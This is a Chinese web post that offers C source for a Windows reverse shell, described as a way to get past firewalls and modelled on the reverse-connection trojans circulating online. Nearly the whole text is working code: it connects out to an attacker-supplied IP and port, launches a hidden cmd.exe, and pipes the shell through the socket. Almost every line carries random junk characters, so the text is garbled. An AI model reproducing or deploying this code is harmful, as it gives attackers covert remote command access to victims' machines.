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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6JhMkB^h  
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/* ============================== Oa! m  
Rebound port in Windows NT @D~B{Hg  
By wind,2006/7 <?YA,"~  
===============================*/ =Q-k'=6\  
#include 3Hw[s0[$  
#include B8H75sz  
dy<27=  
#pragma comment(lib,"wsock32.lib") >.e+S?o  
\7Qb229?  
void OutputShell(); 'f+NW &   
SOCKET sClient; dy2rkV.z  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; NgVR,G|1  
R(G\wqHUT3  
void main(int argc,char **argv) v8m`jxII64  
{ ?sXG17~Bm  
WSADATA stWsaData; iCP~O  
int nRet; Pz%~ST  
SOCKADDR_IN stSaiClient,stSaiServer; a[sKE?  
9cG<hX9`F  
if(argc != 3) ^]>aHz9  
{ %D`o  
printf("Useage:\n\rRebound DestIP DestPort\n"); yS!(Ap  
return; )MSZ2)(  
} @E%DP9.I  
H=p`T+  
WSAStartup(MAKEWORD(2,2),&stWsaData); -R0/o7  
zT[6eZ8m  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &J$##B  
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stSaiClient.sin_family = AF_INET; e4\dpvL  
stSaiClient.sin_port = htons(0); W\8Ln>  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z(e ^iH  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jn JZ# =)  
{ :U'Cor H  
printf("Bind Socket Failed!\n"); e)@3m.  
return; X:EEPGE  
} 7C7>y/uS  
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stSaiServer.sin_family = AF_INET; #H~_K}Ks  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \S ."?!U  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P|xG\3@Z  
O)]v;9oER  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) UV AJxqz%}  
{ /[=E0_t+  
printf("Connect Error!"); I[d]!YI}F  
return; I4=Xb^Ux  
} =rFN1M/n{E  
OutputShell();  |yKud  
}  &;c>O  
 )h_8vO2  
void OutputShell() D#Kuo$  
{ ^zr^ N?a  
char szBuff[1024]; `VT>M@i/  
SECURITY_ATTRIBUTES stSecurityAttributes; tU@zhGb  
OSVERSIONINFO stOsversionInfo; "35A/V  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]*N1t>fb  
STARTUPINFO stStartupInfo; c5% 6Y2W0  
char *szShell; e,gyQjJR  
PROCESS_INFORMATION stProcessInformation; pHC /(6?  
unsigned long lBytesRead; .c+9P<VmC}  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :Ht; 0|[H  
)nfEQ)L;h}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Am"(+>W21  
stSecurityAttributes.lpSecurityDescriptor = 0; O )d[8jw"  
stSecurityAttributes.bInheritHandle = TRUE; F #`=oM $5  
fjG&`m#"  
t;NV $!!  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `yO'[2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b5a.go  
q7\Ovjs0  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F<|t\KOW  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B^v8,;jZT  
stStartupInfo.wShowWindow = SW_HIDE; >IfV\ w32  
stStartupInfo.hStdInput = hReadPipe; f&KdlpxKv  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k N7Bd}  
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GetVersionEx(&stOsversionInfo); vXE0%QE'Q  
&,:h)  
switch(stOsversionInfo.dwPlatformId) `A@w7J'  
{ 9902+pW  
case 1: j;0vAf  
szShell = "command.com"; G`0V)S  
break; viX +|A4gJ  
default: zM#sOg  
szShell = "cmd.exe"; H t(n%;<  
break; j5$GFi\kB  
} o\VUD  
I/6)3 su%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); N2C7[z+l`  
hz:pbes  
send(sClient,szMsg,77,0); U/ od~29  
while(1) fmX!6Kv  
{ 8\.b4FNJ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Yk!/ow@.  
if(lBytesRead) 0RFRbi@n(  
{ I\O\,yPhhP  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3uWkc3  
send(sClient,szBuff,lBytesRead,0); 4?\:{1X=  
} 49H+(*@v@  
else Mkxi~p%<r  
{ WKfkKk;G  
lBytesRead=recv(sClient,szBuff,1024,0); &7e)O=  
if(lBytesRead<=0) break; ULJmSe  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); o5U(i  
} X}ma]  
} $sHP\{  
)!:sFa 1  
return; c2nKPEX&5  
}
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